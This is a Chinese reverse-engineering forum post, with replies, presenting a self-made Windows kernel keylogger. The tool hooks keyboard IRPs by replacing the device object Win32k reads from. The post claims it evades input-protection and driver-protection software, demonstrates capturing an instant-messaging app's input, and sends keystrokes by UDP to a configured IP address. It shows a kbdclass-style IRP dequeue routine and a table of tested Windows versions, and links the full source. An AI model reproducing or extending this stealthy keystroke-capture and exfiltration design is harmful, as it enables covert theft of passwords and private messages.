首页
论坛
课程
招聘
[原创]谁会不喜欢一个Windows内核键盘记录器呢(详解)
2022-9-7 14:03 8940

[原创]谁会不喜欢一个Windows内核键盘记录器呢(详解)

2022-9-7 14:03
8940

KARLANN

先上链接KARLANN

前言:

之前搞过一个基于intel-vt的IO端口的键盘记录器,不过只能支持PS/2键盘,而且有点杀鸡焉用牛刀的感觉。最近在《Windows内核安全与驱动开发》的启发下,实现了一个基于IRP Hook的键盘记录器,书中的方法估计早就被防的差不多了,所以使用了不同的方式Hook IRP,算是进阶版吧,更难被察觉。实测可以过控件保护以及驱动保护。

演示:

获取某即时通讯软件的键盘输入

原理:

简单来说,键盘的输入,是通过键盘驱动(比如kbdhid.sys)通过各种方式获取到键盘硬件的数据输入,然后键盘驱动调用初始化时保存的kbdclass.sys的回调函数KeyboardClassServiceCallback,将键盘数据发送到kbdclass.sys,最后由kbdclass.sys将数据填充到之前Pending的IRP,将IRP返回到Win32k(或者保存到缓冲区内,等待IRP的到来)。

但要怎么拦截这些IRP呢,书中可以将驱动挂载到kbdclass驱动设备上,作为设备过滤驱动拦截IRP,不过这种方法太明显了。所以我选择将Win32k驱动用于读键盘数据的hKeyboard->FileObject->DeviceObject替换为Poc驱动的DeviceObject,由Poc驱动充当中间层驱动,过滤Win32k和Kbdclass的IRP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
PIRP
KeyboardClassDequeueRead(
    _In_ PCHAR DeviceExtension
)
/*++
 
Routine Description:
    Dequeues the next available read irp regardless of FileObject
 
Assumptions:
    DeviceExtension->SpinLock is already held (so no further sync is required).
 
  --*/
{
    ASSERT(NULL != DeviceExtension);
 
    PIRP nextIrp = NULL;
 
    LIST_ENTRY* ReadQueue = (LIST_ENTRY*)(DeviceExtension + READ_QUEUE_OFFSET_DE);
 
    while (!nextIrp && !IsListEmpty(ReadQueue)) {
        PDRIVER_CANCEL oldCancelRoutine;
        PLIST_ENTRY listEntry = RemoveHeadList(ReadQueue);
 
        //
        // Get the next IRP off the queue and clear the cancel routine
        //
        nextIrp = CONTAINING_RECORD(listEntry, IRP, Tail.Overlay.ListEntry);
        oldCancelRoutine = IoSetCancelRoutine(nextIrp, NULL);
 
        //
        // IoCancelIrp() could have just been called on this IRP.
        // What we're interested in is not whether IoCancelIrp() was called
        // (ie, nextIrp->Cancel is set), but whether IoCancelIrp() called (or
        // is about to call) our cancel routine. To check that, check the result
        // of the test-and-set macro IoSetCancelRoutine.
        //
        if (oldCancelRoutine) {
            //
                //  Cancel routine not called for this IRP.  Return this IRP.
            //
            /*ASSERT(oldCancelRoutine == KeyboardClassCancel);*/
        }
        else {
            //
                // This IRP was just cancelled and the cancel routine was (or will
            // be) called. The cancel routine will complete this IRP as soon as
            // we drop the spinlock. So don't do anything with the IRP.
            //
                // Also, the cancel routine will try to dequeue the IRP, so make the
            // IRP's listEntry point to itself.
            //
            //ASSERT(nextIrp->Cancel);
            InitializeListHead(&nextIrp->Tail.Overlay.ListEntry);
            nextIrp = NULL;
        }
    }
 
    return nextIrp;
}

重点在于获取这个FileObject,这个FileObject由ZwReadFile填在Irp->IrpSp->FileObject中,并且Kbdclass会在没有键盘数据时将IRP保存在它的DeviceExtension->ReadQueue链表中,虽然Kbdclass的DeviceExtension结构体没有公开,但其中大部分结构的偏移自从Windows 8开始都是不变的,所以可以找到ReadQueue链表,使用KeyboardClassDequeueRead函数(如上),取出IRP,也就取出了FileObject。

 

另外为支持PNP,Poc驱动会在IoCancelIrp时将FileObject->DeviceObject还原,以便于之后设备卸载。
其他的功能包括,使用libwsk库,把它的C++库做了一些调整,实现了UDP传输键盘数据的功能,以及按键映射的功能,另外增加了对x86的支持。

 

建议在Windows 7 x86/x64 6.1(7601)SP1 - Windows 10 x86/x64 21H1(19043.1889)环境运行

1
2
3
4
5
6
7
8
9
10
11
12
13
已测试系统版本:                  0903        0905        0906
Windows 7  x64 6.1(7601) SP1                    PASS
Windows 8  x64 6.2(9200)        NOTESTED    PASS        PASS
Windows 8.1x64 6.3(9600)        PASS        NOTESTED    NT
Windows 10 x64 1511(10586.164)  PASS        PASS        PASS
Windows 10 x64 1607(14393.447)  PASS        PASS        PASS
Windows 10 x64 1703(15063.0)    PASS        PASS        NT
Windows 10 x64 1709(16299.15)   PASS        PASS        PASS
Windows 10 x64 1809(17763.2928) PASS        PASS        PASS
Windows 10 x64 21H1(19043.1889) PASS        PASS        PASS
 
Windows 7  x86 6.1(7601) SP1                    PASS
Windows 10 x86 1909(18363.592)                    PASS

代码放在github了
github链接


[2022冬季班]《安卓高级研修班(网课)》月薪三万班招生中~

最后于 2022-9-20 17:57 被hkx3upper编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (9)
雪    币: 306
活跃值: 活跃值 (781)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sixL 活跃值 2022-9-7 14:45
2
0
关键的libwsk代码没有提供。
雪    币: 189
活跃值: 活跃值 (572)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hkx3upper 活跃值 2022-9-7 14:53
3
0

这个是别人的库https://github.com/MiroKaku/libwsk,我直接编译了lib,改了它的libwsk.h和libwsk.c:把所有函数声明加上了前缀extern "C" 

最后于 2022-9-7 14:55 被hkx3upper编辑 ,原因:
雪    币: 2574
活跃值: 活跃值 (776)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wonghouleong 活跃值 2022-9-7 16:18
4
0
为啥我找不到这个
修改global.h中的POC_IP_ADDRESS(SocketTest所在电脑的IP)和POC_UDP_PORT
雪    币: 429
活跃值: 活跃值 (90)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pengge 活跃值 2022-9-7 16:30
5
0
wonghouleong 为啥我找不到这个[em_15] 修改global.h中的POC_IP_ADDRESS(SocketTest所在电脑的IP)和POC_UDP_PORT

main/global.h 有把:


雪    币: 2574
活跃值: 活跃值 (776)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wonghouleong 活跃值 2022-9-7 16:48
6
0
pengge main/global.h 有把:
的确是,我跑去Releases下源码了
雪    币: 764
活跃值: 活跃值 (19360)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
shinratensei 活跃值 1 2022-9-7 17:52
7
0
好家伙 号没了
雪    币: 1331
活跃值: 活跃值 (674)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
t0hka1 活跃值 1 2022-9-12 10:59
8
0
mark学习
雪    币: 221
活跃值: 活跃值 (471)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
zhimian 活跃值 2022-9-25 15:11
9
0
最后的系统测试是怎么去批量测试的啊?
雪    币: 189
活跃值: 活跃值 (572)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hkx3upper 活跃值 2022-9-25 17:09
10
0
zhimian 最后的系统测试是怎么去批量测试的啊?

啊,我手动一个一个测试的

最后于 2022-9-25 19:09 被hkx3upper编辑 ,原因:
游客
登录 | 注册 方可回帖
返回